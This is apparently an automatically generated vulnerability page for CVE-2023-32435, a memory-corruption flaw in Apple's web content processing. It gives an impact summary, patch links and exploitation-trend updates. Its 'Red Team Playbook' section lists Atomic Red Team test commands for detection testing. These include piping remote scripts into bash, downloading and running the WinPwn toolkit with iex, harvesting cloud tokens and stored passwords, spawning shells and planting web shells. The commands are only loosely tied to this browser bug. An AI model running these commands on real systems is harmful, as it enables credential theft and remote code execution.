CVE-2023-32435
Overview
This vulnerability is a memory corruption flaw caused by improper state management within the web content processing components of Apple operating systems and Safari browser. The root cause lies in unsafe handling of memory buffers during the rendering or execution of web content, leading to potential out-of-bounds access or use-after-free conditions. Affected components include the Safari browser engine and underlying system libraries responsible for web content processing on macOS, iOS, and iPadOS platforms.
Vulnerability Description
A memory corruption issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, Safari 16.4, iOS 16.4 and iPadOS 16.4, iOS 15.7.7 and iPadOS 15.7.7. Processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.
Impact
An attacker can achieve arbitrary code execution by convincing a user to visit a malicious web page, requiring only user interaction to initiate the exploit. This enables full compromise of the affected device, including execution of unauthorized code with user-level privileges, potentially leading to data theft, installation of persistent malware, or lateral movement within a network. The vulnerability's exploitation does not require prior authentication or elevated privileges, increasing its severity in real-world attack scenarios.
Solution
Apple has addressed this vulnerability in security updates for macOS Ventura 13.3, Safari 16.4, iOS 16.4, iPadOS 16.4, iOS 15.7.7, and iPadOS 15.7.7. Detailed patch information and update instructions are available through Apple’s official advisories at https://support.apple.com/en-us/HT213670, https://support.apple.com/en-us/HT213811, and https://support.apple.com/en-us/HT213671. Users and administrators should apply these updates promptly to mitigate the risk associated with this memory corruption issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a memory corruption issue that has been identified in several Apple products, including Safari, macOS, iOS, and iPadOS. Memory corruption vulnerabilities typically arise when an application inadvertently modifies memory locations that it should not access, leading to unpredictable behavior. In this case, the flaw was addressed through improved state management, which is crucial for maintaining the integrity of memory operations. The nature of this vulnerability allows for the potential execution of arbitrary code, meaning that an attacker could manipulate the application to run malicious code, potentially compromising the device's security.
Attack vectors for this vulnerability primarily involve the processing of specially crafted web content. Users may unknowingly visit a malicious website or interact with compromised web applications, triggering the memory corruption. This exploitation could lead to unauthorized access to sensitive data, installation of malware, or complete control over the affected device. Given the widespread use of Apple devices, the potential for exploitation is significant, particularly for users who have not updated their systems to the latest versions. Reports suggest that this issue may have been actively exploited against earlier versions of iOS, highlighting the urgency for users to maintain updated software.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on Apple devices for operations. The ability for attackers to execute arbitrary code can lead to data breaches, loss of intellectual property, and reputational damage. For organizations that handle sensitive information, such as financial data or personal identifiable information, the risks are amplified. Moreover, the exploitation of this vulnerability could result in downtime, loss of productivity, and significant remediation costs. The financial implications, combined with the potential legal ramifications of failing to protect user data, underscore the critical nature of addressing this vulnerability promptly.
To detect and mitigate the risks associated with this memory corruption issue, organizations should implement a multi-faceted approach. Regularly updating software to the latest versions is paramount, as patches are often released to address known vulnerabilities. Employing web filtering solutions can help block access to known malicious sites that may exploit this vulnerability. Additionally, organizations should conduct security awareness training for employees, educating them on the risks of clicking on suspicious links or downloading unverified content. Implementing endpoint protection solutions that can detect and respond to anomalous behavior will further enhance security posture.
In conclusion, the memory corruption vulnerability affecting various Apple products poses a significant threat to both individual users and organizations. The potential for arbitrary code execution through compromised web content necessitates immediate attention and action. By prioritizing software updates, employing robust detection mechanisms, and fostering a culture of cybersecurity awareness, users can mitigate the risks associated with this vulnerability and protect their devices from exploitation. The ongoing evolution of cyber threats makes it imperative for all stakeholders to remain vigilant and proactive in their security efforts.
Recent CSURFACE threat intelligence indicates a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-32435, rising by over 75% within a short timeframe. This upward trend, coupled with its recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, underscores growing adversary interest and potential exploitation attempts targeting affected Apple platforms. Although no new exploit techniques or ransomware affiliations have been identified, the elevated EPSS score signals heightened likelihood of exploitation in the near term. For defenders, this shift necessitates increased vigilance in monitoring related attack vectors and prioritizing detection capabilities, as the vulnerability’s exploitation could facilitate arbitrary code execution through web content processing. Consequently, the threat level for CVE-2023-32435 has escalated from moderate to a more pronounced risk category, reflecting its increased prominence in the current threat landscape.
Update 2 — July 30, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-32435, indicating an increased adversary focus on exploiting this memory corruption vulnerability. While no novel exploit techniques or ransomware affiliations have surfaced, the upward trend in telemetry suggests that threat actors are intensifying attempts to leverage this flaw for arbitrary code execution via web content processing. This development underscores a growing operational interest that could translate into broader exploitation campaigns if left unaddressed. Consequently, the threat level associated with CVE-2023-32435 has been elevated to reflect this heightened adversarial engagement, signaling defenders to maintain enhanced monitoring and readiness for potential exploitation attempts.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32435 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213670 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213811 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213671 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213676 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-32435 |